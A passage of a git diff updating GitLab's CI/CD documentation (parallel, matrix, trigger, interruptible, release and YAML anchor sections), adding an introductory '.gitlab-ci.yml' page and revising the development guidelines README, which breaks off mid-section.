> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/21480) in GitLab 11.5.
-Use `parallel` to configure how many instances of a job to run in
-parallel. This value can be from 2 to 50.
+Use `parallel` to configure how many instances of a job to run in parallel.
+The value can be from 2 to 50.
-This creates N instances of the same job that run in parallel. They are named
-sequentially from `job_name 1/N` to `job_name N/N`.
-
-For every job, `CI_NODE_INDEX` and `CI_NODE_TOTAL` [environment variables](../variables/README.md#predefined-environment-variables) are set.
-
-Marking a job to be run in parallel requires adding `parallel` to your configuration
-file. For example:
+The `parallel` keyword creates N instances of the same job that run in parallel.
+They are named sequentially from `job_name 1/N` to `job_name N/N`:
```yaml
test:
@@ -3495,10 +3503,12 @@ test:
parallel: 5
```
-Parallelize tests suites across parallel jobs.
-Different languages have different tools to facilitate this.
+Every parallel job has a `CI_NODE_INDEX` and `CI_NODE_TOTAL`
+[environment variable](../variables/README.md#predefined-environment-variables) set.
-A simple example using [Semaphore Test Boosters](https://github.com/renderedtext/test-boosters) and RSpec to run some Ruby tests:
+Different languages and test suites have different methods to enable parallelization.
+For example, use [Semaphore Test Boosters](https://github.com/renderedtext/test-boosters)
+and RSpec to run Ruby tests in parallel:
```ruby
# Gemfile
@@ -3516,8 +3526,8 @@ test:
- bundle exec rspec_booster --job $CI_NODE_INDEX/$CI_NODE_TOTAL
```
-CAUTION: **Caution:**
-Please be aware that semaphore_test_boosters reports usages statistics to the author.
+WARNING:
+Test Boosters reports usage statistics to the author.
You can then navigate to the **Jobs** tab of a new pipeline build and see your RSpec
job split into three separate jobs.
@@ -3529,6 +3539,9 @@ job split into three separate jobs.
Use `matrix:` to configure different variables for jobs that are running in parallel.
There can be from 2 to 50 jobs.
+Jobs can only run in parallel if there are multiple runners, or a single runner is
+[configured to run multiple jobs concurrently](#using-your-own-runners).
+
[In GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/26362) and later,
you can have one-dimensional matrices with a single job.
@@ -3552,7 +3565,8 @@ deploystacks:
STACK: [data, processing]
```
-This generates 10 parallel `deploystacks` jobs, each with different values for `PROVIDER` and `STACK`:
+This example generates 10 parallel `deploystacks` jobs, each with different values
+for `PROVIDER` and `STACK`:
```plaintext
deploystacks: [aws, monitoring]
@@ -3567,7 +3581,7 @@ deploystacks: [vultr, data]
deploystacks: [vultr, processing]
```
-Job naming style [was improved](https://gitlab.com/gitlab-org/gitlab/-/issues/230452) in GitLab 13.4.
+The job naming style was [improved in GitLab 13.4](https://gitlab.com/gitlab-org/gitlab/-/issues/230452).
### `trigger`
@@ -3593,13 +3607,11 @@ hover over the downstream pipeline job.
In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/201938) and later, you
can use [`when:manual`](#whenmanual) in the same job as `trigger`. In GitLab 13.4 and
earlier, using them together causes the error `jobs:#{job-name} when should be on_success, on_failure or always`.
-It is deployed behind the `:ci_manual_bridges` [feature flag](../../user/feature_flags.md), which is **enabled by default**.
-[GitLab administrators with access to the Rails console](../../administration/feature_flags.md)
-can opt to disable it.
+You [cannot start `manual` trigger jobs with the API](https://gitlab.com/gitlab-org/gitlab/-/issues/284086).
-#### Simple `trigger` syntax for multi-project pipelines
+#### Basic `trigger` syntax for multi-project pipelines
-The simplest way to configure a downstream trigger is to use `trigger` keyword
+You can configure a downstream trigger by using the `trigger` keyword
with a full path to a downstream project:
```yaml
@@ -3746,20 +3758,20 @@ The trigger token is different than the [`trigger`](#trigger) keyword.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32022) in GitLab 12.3.
-`interruptible` is used to indicate that a job should be canceled if made redundant by a newer pipeline run. Defaults to `false`.
+`interruptible` is used to indicate that a running job should be canceled if made redundant by a newer pipeline run.
+Defaults to `false` (uninterruptible). Jobs that have not started yet (pending) are considered interruptible
+and safe to be cancelled.
This value is used only if the [automatic cancellation of redundant pipelines feature](../pipelines/settings.md#auto-cancel-pending-pipelines)
is enabled.
-When enabled, a pipeline on the same branch is canceled when:
+When enabled, a pipeline is immediately canceled when a new pipeline starts on the same branch if either of the following is true:
-- It's made redundant by a newer pipeline run.
-- Either all jobs are set as interruptible, or any uninterruptible jobs haven't started.
+- All jobs in the pipeline are set as interruptible.
+- Any uninterruptible jobs have not started yet.
Set jobs as interruptible that can be safely canceled once started (for instance, a build job).
-Pending jobs are always considered interruptible.
-
-Here is a simple example:
+For example:
```yaml
stages:
@@ -3790,7 +3802,7 @@ In the example above, a new pipeline run causes an existing running pipeline to
- Canceled, if only `step-1` is running or pending.
- Not canceled, once `step-2` starts running.
-When an uninterruptible job is running, the pipeline can never be canceled, regardless of the final job's state.
+When an uninterruptible job is running, the pipeline cannot be canceled, regardless of the final job's state.
### `resource_group`
@@ -3809,7 +3821,7 @@ If multiple jobs belonging to the same resource group are enqueued simultaneousl
only one of the jobs is picked by the runner. The other jobs wait until the
`resource_group` is free.
-Here is a simple example:
+For example:
```yaml
deploy-to-production:
@@ -3820,8 +3832,8 @@ deploy-to-production:
In this case, two `deploy-to-production` jobs in two separate pipelines can never run at the same time. As a result,
you can ensure that concurrent deployments never happen to the production environment.
-There can be multiple `resource_group`s defined per environment. A good use case for this
-is when deploying to physical devices. You may have multiple physical devices that
+You can define multiple resource groups per environment. For example,
+when deploying to physical devices, you may have multiple physical devices. Each device
can be deployed to, but there can be only one deployment per device at any given time.
The `resource_group` value can only contain letters, digits, `-`, `_`, `/`, `$`, `{`, `}`, `.`, and spaces.
@@ -3857,8 +3869,9 @@ image: registry.gitlab.com/gitlab-org/release-cli:latest
#### Script
-All jobs require a `script` tag at a minimum. A `:release` job can use the output of a
-`:script` tag, but if this is not necessary, a placeholder script can be used, for example:
+All jobs except [trigger](#trigger) jobs must have the `script` keyword. A `release`
+job can use the output from script commands, but a placeholder script can be used if
+the script is not needed:
```yaml
script:
@@ -3972,7 +3985,7 @@ tags. These options cannot be used together, so choose one:
- To create a release automatically when commits are pushed or merged to the default branch,
using a new Git tag that is defined with variables:
- NOTE: **Note:**
+ NOTE:
Environment variables set in `before_script` or `script` are not available for expanding
in the same job. Read more about
[potentially making variables available for expanding](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6400).
@@ -4018,15 +4031,16 @@ tags. These options cannot be used together, so choose one:
#### Release assets as Generic packages
You can use [Generic packages](../../user/packages/generic_packages/) to host your release assets.
-For a complete example of how to do this, see the [example in the repository](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs/examples/release-assets-as-generic-package/).
+For a complete example, see the [Release assets as Generic packages](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs/examples/release-assets-as-generic-package/)
+project.
-#### `releaser-cli` command line
+#### `release-cli` command line
-The entries under the `:release` node are transformed into a `bash` command line and sent
+The entries under the `release` node are transformed into a `bash` command line and sent
to the Docker container, which contains the [release-cli](https://gitlab.com/gitlab-org/release-cli).
You can also call the `release-cli` directly from a `script` entry.
-The YAML described above would be translated into a CLI command like this:
+For example, using the YAML described above:
```shell
release-cli create --name "Release $CI_COMMIT_SHA" --description "Created using the release-cli $EXTRA_DESCRIPTION" --tag-name "v${MAJOR}.${MINOR}.${REVISION}" --ref "$CI_COMMIT_SHA" --released-at "2020-07-15T08:00:00Z" --milestone "m1" --milestone "m2" --milestone "m3"
@@ -4090,7 +4104,7 @@ requirements below must be met:
- Any static content must be placed under a `public/` directory.
- `artifacts` with a path to the `public/` directory must be defined.
-The example below simply moves all files from the root of the project to the
+The example below moves all files from the root of the project to the
`public/` directory. The `.public` workaround is so `cp` does not also copy
`public/` to itself in an infinite loop:
@@ -4150,7 +4164,7 @@ deploy_review_job:
You can use only integers and strings for the variable's name and value.
If you define a variable at the top level of the `gitlab-ci.yml` file, it is global,
-meaning it applies to all jobs. If you define a variable within a job, it's available
+meaning it applies to all jobs. If you define a variable in a job, it's available
to that job only.
If a variable of the same name is defined globally and for a specific job, the
@@ -4190,8 +4204,6 @@ need to be used to merge arrays.
### Anchors
-> Introduced in GitLab 8.6 and GitLab Runner v1.1.1.
-
YAML has a feature called 'anchors' that you can use to duplicate
content across your document.
@@ -4200,7 +4212,7 @@ to provide templates for your jobs. When there are duplicate keys, GitLab
performs a reverse deep merge based on the keys.
You can't use YAML anchors across multiple files when leveraging the [`include`](#include)
-feature. Anchors are only valid within the file they were defined in. Instead
+feature. Anchors are only valid in the file they were defined in. Instead
of using YAML anchors, you can use the [`extends` keyword](#extends).
The following example uses anchors and map merging. It creates two jobs,
@@ -4227,7 +4239,7 @@ test2:
`&` sets up the name of the anchor (`job_definition`), `<<` means "merge the
given hash into the current one", and `*` includes the named anchor
-(`job_definition` again). The expanded version looks like this:
+(`job_definition` again). The expanded version of the example above is:
```yaml
.job_template:
@@ -4253,10 +4265,9 @@ test2:
- test2 project
```
-Let's see another example. This time we use anchors to define two sets
-of services. This configuration creates two jobs, `test:postgres` and `test:mysql`, that
-share the `script` directive defined in `.job_template`, and the `services`
-directive defined in `.postgres_services` and `.mysql_services` respectively:
+You can use anchors to define two sets of services. For example, `test:postgres`
+and `test:mysql` share the `script` defined in `.job_template`, but use different
+`services`, defined in `.postgres_services` and `.mysql_services`:
```yaml
.job_template: &job_definition
@@ -4286,7 +4297,7 @@ test:mysql:
services: *mysql_definition
```
-The expanded version looks like this:
+The expanded version is:
```yaml
.job_template:
@@ -4336,27 +4347,27 @@ and [`after_script`](#after_script) to use predefined commands in multiple jobs:
```yaml
.some-script: &some-script
- - echo "Execute this in `before_script` sections"
+ - echo "Execute this script in `before_script` sections"
.some-script-before: &some-script-before
- - echo "Execute this in `script` sections"
+ - echo "Execute this script in `script` sections"
.some-script-after: &some-script-after
- - echo "Execute this in `after_script` sections"
+ - echo "Execute this script in `after_script` sections"
job_name:
before_script:
- *some-script-before
script:
- *some-script
- before_script:
+ after_script:
- *some-script-after
```
#### YAML anchors for variables
-[YAML anchors](#anchors) can be used with `variables`, to easily repeat assignment
-of variables across multiple jobs. It can also enable more flexibility when a job
+[YAML anchors](#anchors) can be used with `variables`, to repeat assignment
+of variables across multiple jobs. Use can also use YAML anchors when a job
requires a specific `variables` block that would otherwise override the global variables.
In the example below, we override the `GIT_STRATEGY` variable without affecting
@@ -4379,8 +4390,6 @@ job_no_git_strategy:
### Hide jobs
-> Introduced in GitLab 8.6 and GitLab Runner v1.1.1.
-
If you want to temporarily 'disable' a job, rather than commenting out all the
lines where the job is defined:
@@ -4405,11 +4414,12 @@ into templates.
## Skip Pipeline
-If your commit message contains `[ci skip]` or `[skip ci]`, using any
-capitalization, the commit is created but the pipeline is skipped.
+To push a commit without triggering a pipeline, add `[ci skip]` or `[skip ci]`, using any
+capitalization, to your commit message.
-Alternatively, one can pass the `ci.skip` [Git push option](../../user/project/push_options.md#push-options-for-gitlab-cicd)
-if using Git 2.10 or newer.
+Alternatively, if you are using Git 2.10 or later, use the `ci.skip` [Git push option](../../user/project/push_options.md#push-options-for-gitlab-cicd).
+The `ci.skip` push option does not skip merge request
+pipelines.
## Processing Git pushes
@@ -4426,13 +4436,13 @@ The following keywords are deprecated.
### Globally-defined `types`
-DANGER: **Deprecated:**
+WARNING:
`types` is deprecated, and could be removed in a future release.
Use [`stages`](#stages) instead.
### Job-defined `type`
-DANGER: **Deprecated:**
+WARNING:
`type` is deprecated, and could be removed in one of the future releases.
Use [`stage`](#stage) instead.
diff --git a/doc/ci/yaml/gitlab_ci_yaml.md b/doc/ci/yaml/gitlab_ci_yaml.md
new file mode 100644
index 00000000000..602e02dbe6b
--- /dev/null
+++ b/doc/ci/yaml/gitlab_ci_yaml.md
@@ -0,0 +1,89 @@
+---
+stage: Verify
+group: Continuous Integration
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+type: reference
+---
+<!-- markdownlint-disable MD044 -->
+# The .gitlab-ci.yml file
+<!-- markdownlint-enable MD044 -->
+
+To use GitLab CI/CD, you need:
+
+- Application code hosted in a Git repository.
+- A file called [`.gitlab-ci.yml`](README.md) in the root of your repository, which
+ contains the CI/CD configuration.
+
+In the `.gitlab-ci.yml` file, you can define:
+
+- The scripts you want to run.
+- Other configuration files and templates you want to include.
+- Dependencies and caches.
+- The commands you want to run in sequence and those you want to run in parallel.
+- The location to deploy your application to.
+- Whether you want to run the scripts automatically or trigger any of them manually.
+
+The scripts are grouped into **jobs**, and jobs run as part of a larger
+**pipeline**. You can group multiple independent jobs into **stages** that run in a defined order.
+
+You should organize your jobs in a sequence that suits your application and is in accordance with
+the tests you wish to perform. To [visualize](visualization.md) the process, imagine
+the scripts you add to jobs are the same as CLI commands you run on your computer.
+
+When you add a `.gitlab-ci.yml` file to your
+repository, GitLab detects it and an application called [GitLab Runner](https://docs.gitlab.com/runner/)
+runs the scripts defined in the jobs.
+
+A `.gitlab-ci.yml` file might contain:
+
+```yaml
+stages:
+ - build
+ - test
+
+build-code-job:
+ stage: build
+ script:
+ - echo "Check the ruby version, then build some Ruby project files:"
+ - ruby -v
+ - rake
+
+test-code-job1:
+ stage: test
+ script:
+ - echo "If the files are built successfully, test some files with one command:"
+ - rake test1
+
+test-code-job2:
+ stage: test
+ script:
+ - echo "If the files are built successfully, test other files with a different command:"
+ - rake test2
+```
+
+In this example, the `build-code-job` job in the `build` stage runs first. It outputs
+the Ruby version the job is using, then runs `rake` to build project files.
+If this job completes successfully, the two `test-code-job` jobs in the `test` stage start
+in parallel and run tests on the files.
+
+The full pipeline in the example is composed of three jobs, grouped into two stages,
+`build` and `test`. The pipeline runs every time changes are pushed to any
+branch in the project.
+
+GitLab CI/CD not only executes the jobs but also shows you what's happening during execution,
+just as you would see in your terminal:
+
+![job running](img/job_running.png)
+
+You create the strategy for your app and GitLab runs the pipeline
+according to what you've defined. Your pipeline status is also
+displayed by GitLab:
+
+![pipeline status](img/pipeline_status.png)
+
+If anything goes wrong, you can
+[roll back](../environments/index.md#retrying-and-rolling-back) the changes:
+
+![rollback button](img/rollback.png)
+
+[View the full syntax for the `.gitlab-ci.yml` file](README.md).
diff --git a/doc/ci/yaml/img/ci_config_visualization_hover_v13_5.png b/doc/ci/yaml/img/ci_config_visualization_hover_v13_5.png
deleted file mode 100644
index e6c85bd39e4..00000000000
--- a/doc/ci/yaml/img/ci_config_visualization_hover_v13_5.png
+++ /dev/null
Binary files differ
diff --git a/doc/ci/yaml/img/ci_config_visualization_hover_v13_7.png b/doc/ci/yaml/img/ci_config_visualization_hover_v13_7.png
new file mode 100644
index 00000000000..9387fc6ccf4
--- /dev/null
+++ b/doc/ci/yaml/img/ci_config_visualization_hover_v13_7.png
Binary files differ
diff --git a/doc/ci/yaml/img/ci_config_visualization_v13_5.png b/doc/ci/yaml/img/ci_config_visualization_v13_5.png
deleted file mode 100644
index 0aee5cff7be..00000000000
--- a/doc/ci/yaml/img/ci_config_visualization_v13_5.png
+++ /dev/null
Binary files differ
diff --git a/doc/ci/yaml/img/ci_config_visualization_v13_7.png b/doc/ci/yaml/img/ci_config_visualization_v13_7.png
new file mode 100644
index 00000000000..ef2aa6fe9e9
--- /dev/null
+++ b/doc/ci/yaml/img/ci_config_visualization_v13_7.png
Binary files differ
diff --git a/doc/ci/introduction/img/job_running.png b/doc/ci/yaml/img/job_running.png
index efd138fd4f8..efd138fd4f8 100644
--- a/doc/ci/introduction/img/job_running.png
+++ b/doc/ci/yaml/img/job_running.png
Binary files differ
diff --git a/doc/ci/introduction/img/pipeline_status.png b/doc/ci/yaml/img/pipeline_status.png
index 96881f072e1..96881f072e1 100644
--- a/doc/ci/introduction/img/pipeline_status.png
+++ b/doc/ci/yaml/img/pipeline_status.png
Binary files differ
diff --git a/doc/ci/introduction/img/rollback.png b/doc/ci/yaml/img/rollback.png
index 38e0552f4f1..38e0552f4f1 100644
--- a/doc/ci/introduction/img/rollback.png
+++ b/doc/ci/yaml/img/rollback.png
Binary files differ
diff --git a/doc/ci/yaml/includes.md b/doc/ci/yaml/includes.md
index d7945617dc9..ec5934924fa 100644
--- a/doc/ci/yaml/includes.md
+++ b/doc/ci/yaml/includes.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -67,7 +67,7 @@ include:
## Re-using a `before_script` template
-In the following example, the content of `.before-script-template.yml` will be
+In the following example, the content of `.before-script-template.yml` is
automatically fetched and evaluated along with the content of `.gitlab-ci.yml`.
Content of `https://gitlab.com/awesome-project/raw/master/.before-script-template.yml`:
diff --git a/doc/ci/yaml/script.md b/doc/ci/yaml/script.md
index 87885c8e548..2d26d9f8922 100644
--- a/doc/ci/yaml/script.md
+++ b/doc/ci/yaml/script.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -19,7 +19,7 @@ You can use special syntax in [`script`](README.md#script) sections to:
You can split long commands into multiline commands to improve readability with
`|` (literal) and `>` (folded) [YAML multiline block scalar indicators](https://yaml-multiline.info/).
-CAUTION: **Warning:**
+WARNING:
If multiple commands are combined into one command string, only the last command's
failure or success is reported.
[Failures from earlier commands are ignored due to a bug](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/25394).
diff --git a/doc/ci/yaml/visualization.md b/doc/ci/yaml/visualization.md
index 391ff9f852a..59a92370c70 100644
--- a/doc/ci/yaml/visualization.md
+++ b/doc/ci/yaml/visualization.md
@@ -1,30 +1,30 @@
---
stage: Verify
group: Pipeline Authoring
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Visualize your CI/CD configuration
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241722) in GitLab 13.5.
+> - [Moved to **CI/CD > Editor**](https://gitlab.com/gitlab-org/gitlab/-/issues/263141) in GitLab 13.7.
> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
> - It's disabled on GitLab.com.
> - It's not recommended for production use.
> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-cicd-configuration-visualization). **(CORE ONLY)**
-CAUTION: **Warning:**
+WARNING:
This feature might not be available to you. Check the **version history** note above for details.
-To see a visualization of your `gitlab-ci.yml` configuration, navigate to any CI/CD
-configuration file and click on the `Visualization` tab. The visualization shows
-all stages and jobs. [`needs`](README.md#needs) relationships are displayed as lines
-connecting jobs together, showing the hierarchy of execution:
+To see a visualization of your `gitlab-ci.yml` configuration, navigate to **CI/CD > Editor**
+and select the `Visualization` tab. The visualization shows all stages and jobs.
+[`needs`](README.md#needs) relationships are displayed as lines connecting jobs together, showing the hierarchy of execution:
-![CI Config Visualization](img/ci_config_visualization_v13_5.png)
+![CI Config Visualization](img/ci_config_visualization_v13_7.png)
Hovering on a job highlights its `needs` relationships:
-![CI Config Visualization on hover](img/ci_config_visualization_hover_v13_5.png)
+![CI Config Visualization on hover](img/ci_config_visualization_hover_v13_7.png)
If the configuration does not have any `needs` relationships, then no lines are drawn because
each job depends only on the previous stage being completed successfully.
@@ -42,11 +42,11 @@ can enable it.
To enable it:
```ruby
-Feature.enable(:gitlab_ci_yml_preview)
+Feature.enable(:ci_config_visualization_tab)
```
To disable it:
```ruby
-Feature.disable(:gitlab_ci_yml_preview)
+Feature.disable(:ci_config_visualization_tab)
```
diff --git a/doc/customization/branded_login_page.md b/doc/customization/branded_login_page.md
index 9667e5e380a..cf593f360c8 100644
--- a/doc/customization/branded_login_page.md
+++ b/doc/customization/branded_login_page.md
@@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/appearance.md#sign-in--sign-up-pages'
---
This document was moved to [another location](../user/admin_area/appearance.md#sign-in--sign-up-pages).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/customization/branded_page_and_email_header.md b/doc/customization/branded_page_and_email_header.md
index 64958521f64..21a69178b6d 100644
--- a/doc/customization/branded_page_and_email_header.md
+++ b/doc/customization/branded_page_and_email_header.md
@@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/appearance.md#navigation-bar'
---
This document was moved to [another location](../user/admin_area/appearance.md#navigation-bar).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/customization/favicon.md b/doc/customization/favicon.md
index d43ed944e26..3d6c2f62b25 100644
--- a/doc/customization/favicon.md
+++ b/doc/customization/favicon.md
@@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/appearance.md#favicon'
---
This document was moved to [another location](../user/admin_area/appearance.md#favicon).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/customization/help_message.md b/doc/customization/help_message.md
index 5694ee89c17..3f13e4efdbd 100644
--- a/doc/customization/help_message.md
+++ b/doc/customization/help_message.md
@@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/settings/help_page.md'
---
This document was moved to [another location](../user/admin_area/settings/help_page.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/customization/index.md b/doc/customization/index.md
index f3e1e3190fd..3c88ad8106b 100644
--- a/doc/customization/index.md
+++ b/doc/customization/index.md
@@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/appearance.md'
---
This document was moved to [another location](../user/admin_area/appearance.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/customization/issue_and_merge_request_template.md b/doc/customization/issue_and_merge_request_template.md
index bab81629221..0b4ca009080 100644
--- a/doc/customization/issue_and_merge_request_template.md
+++ b/doc/customization/issue_and_merge_request_template.md
@@ -3,3 +3,6 @@ redirect_to: '../user/project/description_templates.md'
---
This document was moved to [description_templates](../user/project/description_templates.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/customization/issue_closing.md b/doc/customization/issue_closing.md
index 9333f55ca9c..c860f51dc2f 100644
--- a/doc/customization/issue_closing.md
+++ b/doc/customization/issue_closing.md
@@ -3,3 +3,6 @@ redirect_to: '../user/project/issues/managing_issues.md#closing-issues-automatic
---
This document was moved to [another location](../user/project/issues/managing_issues.md#closing-issues-automatically).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/customization/libravatar.md b/doc/customization/libravatar.md
index 78df24066ea..affb6211377 100644
--- a/doc/customization/libravatar.md
+++ b/doc/customization/libravatar.md
@@ -3,3 +3,6 @@ redirect_to: '../administration/libravatar.md'
---
This document was moved to [another location](../administration/libravatar.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/customization/new_project_page.md b/doc/customization/new_project_page.md
index ee09df26cb1..82549d62960 100644
--- a/doc/customization/new_project_page.md
+++ b/doc/customization/new_project_page.md
@@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/appearance.md#new-project-pages'
---
This document was moved to [another location](../user/admin_area/appearance.md#new-project-pages).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/customization/system_header_and_footer_messages.md b/doc/customization/system_header_and_footer_messages.md
index 1d17f3bee3f..03dccfb35c9 100644
--- a/doc/customization/system_header_and_footer_messages.md
+++ b/doc/customization/system_header_and_footer_messages.md
@@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/appearance.md#system-header-and-footer-messages
---
This document was moved to [another location](../user/admin_area/appearance.md#system-header-and-footer-messages).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/customization/welcome_message.md b/doc/customization/welcome_message.md
index 9667e5e380a..cf593f360c8 100644
--- a/doc/customization/welcome_message.md
+++ b/doc/customization/welcome_message.md
@@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/appearance.md#sign-in--sign-up-pages'
---
This document was moved to [another location](../user/admin_area/appearance.md#sign-in--sign-up-pages).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/README.md b/doc/development/README.md
index 75ea6ae5f3b..2e4674b5288 100644
--- a/doc/development/README.md
+++ b/doc/development/README.md
@@ -11,20 +11,24 @@ description: "Development Guidelines: learn how to contribute to GitLab."
Learn the processes and technical information needed for contributing to GitLab.
-This content is intended for members of the GitLab Team as well as community contributors.
-Content specific to the GitLab Team should instead be included in the [Handbook](https://about.gitlab.com/handbook/).
+This content is intended for members of the GitLab Team as well as community
+contributors. Content specific to the GitLab Team should instead be included in
+the [Handbook](https://about.gitlab.com/handbook/).
-For information on using GitLab to work on your own software projects, see the [GitLab user documentation](../user/index.md).
+For information on using GitLab to work on your own software projects, see the
+[GitLab user documentation](../user/index.md).
-For information on working with GitLab's API, see the [API documentation](../api/README.md).
+For information on working with the GitLab APIs, see the [API documentation](../api/README.md).
-For information on how to install, configure, update, and upgrade your own GitLab instance, see the [administration documentation](../administration/index.md).
+For information about how to install, configure, update, and upgrade your own
+GitLab instance, see the [administration documentation](../administration/index.md).
## Get started
-- Set up GitLab's development environment with [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/README.md)
+- Set up the GitLab development environment with the
+ [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/README.md)
- [GitLab contributing guide](contributing/index.md)
- - [Issues workflow](contributing/issue_workflow.md) for more information on:
+ - [Issues workflow](contributing/issue_workflow.md) for more information about:
- Issue tracker guidelines.
- Triaging.
- Labels.
@@ -33,7 +37,7 @@ For information on how to install, configure, update, and upgrade your own GitLa
- Regression issues.
- Technical or UX debt.
- [Merge requests workflow](contributing/merge_request_workflow.md) for more
- information on:
+ information about:
- Merge request guidelines.
- Contribution acceptance criteria.
- Definition of done.
@@ -48,8 +52,10 @@ For information on how to install, configure, update, and upgrade your own GitLa
**Must-reads:**
- [Guide on adapting existing and introducing new components](architecture.md#adapting-existing-and-introducing-new-components)
-- [Code review guidelines](code_review.md) for reviewing code and having code reviewed
-- [Database review guidelines](database_review.md) for reviewing database-related changes and complex SQL queries, and having them reviewed
+- [Code review guidelines](code_review.md) for reviewing code and having code
+ reviewed
+- [Database review guidelines](database_review.md) for reviewing
+ database-related changes and complex SQL queries, and having them reviewed
- [Secure coding guidelines](secure_coding_guidelines.md)
- [Pipelines for the GitLab project](pipelines.md)
@@ -60,26 +66,86 @@ Complementary reads:
- [Guidelines for implementing Enterprise Edition features](ee_features.md)
- [Danger bot](dangerbot.md)
- [Generate a changelog entry with `bin/changelog`](changelog.md)
-- [Requesting access to Chatops on GitLab.com](chatops_on_gitlabcom.md#requesting-access) (for GitLab team members)
+- [Requesting access to ChatOps on GitLab.com](chatops_on_gitlabcom.md#requesting-access) (for GitLab team members)
- [Patch release process for developers](https://gitlab.com/gitlab-org/release/docs/blob/master/general/patch/process.md#process-for-developers)
- [Adding a new service component to GitLab](adding_service_component.md)
### Development guidelines review
-When you submit a change to GitLab's development guidelines, request a review
-from:
+When you submit a change to the GitLab development guidelines, who
+you ask for reviews depends on the level of change.
-- A member of your team or group, to check for technical accuracy.
-- For **significant** changes or proposals, request review from:
- - Engineering managers (FE, BE, DB, Security, UX, and others), according to the subject or process you're proposing.
- - The VP of Development (DRI) ([@clefelhocz1](https://gitlab.com/clefelhocz1)), for
- final approval of the new or changed guidelines.
-- The [Technical Writer assigned to dev guidelines](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines),
- to review the content for consistency and adherence to documentation guidelines.
+#### Wording, style, or link changes
+
+Not all changes require extensive review. For example, MRs that don't change the
+content's meaning or function can be reviewed, approved, and merged by any
+maintainer or Technical Writer. These can include:
+
+- Typo fixes.
+- Clarifying links, such as to external programming language documentation.
+- Changes to comply with the [Documentation Style Guide](documentation/index.md)
+ that don't change the intent of the documentation page.
+
+#### Specific changes
+
+If the MR proposes changes that are limited to a particular stage, group, or team,
+request a review and approval from an experienced GitLab Team Member in that
+group. For example, if you're documenting a new internal API used exclusively by
+a given group, request an engineering review from one of the group's members.
+
+After the engineering review is complete, assign the MR to the
+[Technical Writer associated with the stage and group](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments)
+in the modified documentation page's metadata.
+
+If you have questions or need further input, request a review from the
+Technical Writer assigned to the [Development Guidelines](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines).
+
+#### Broader changes
+
+Some changes affect more than one group. For example:
+
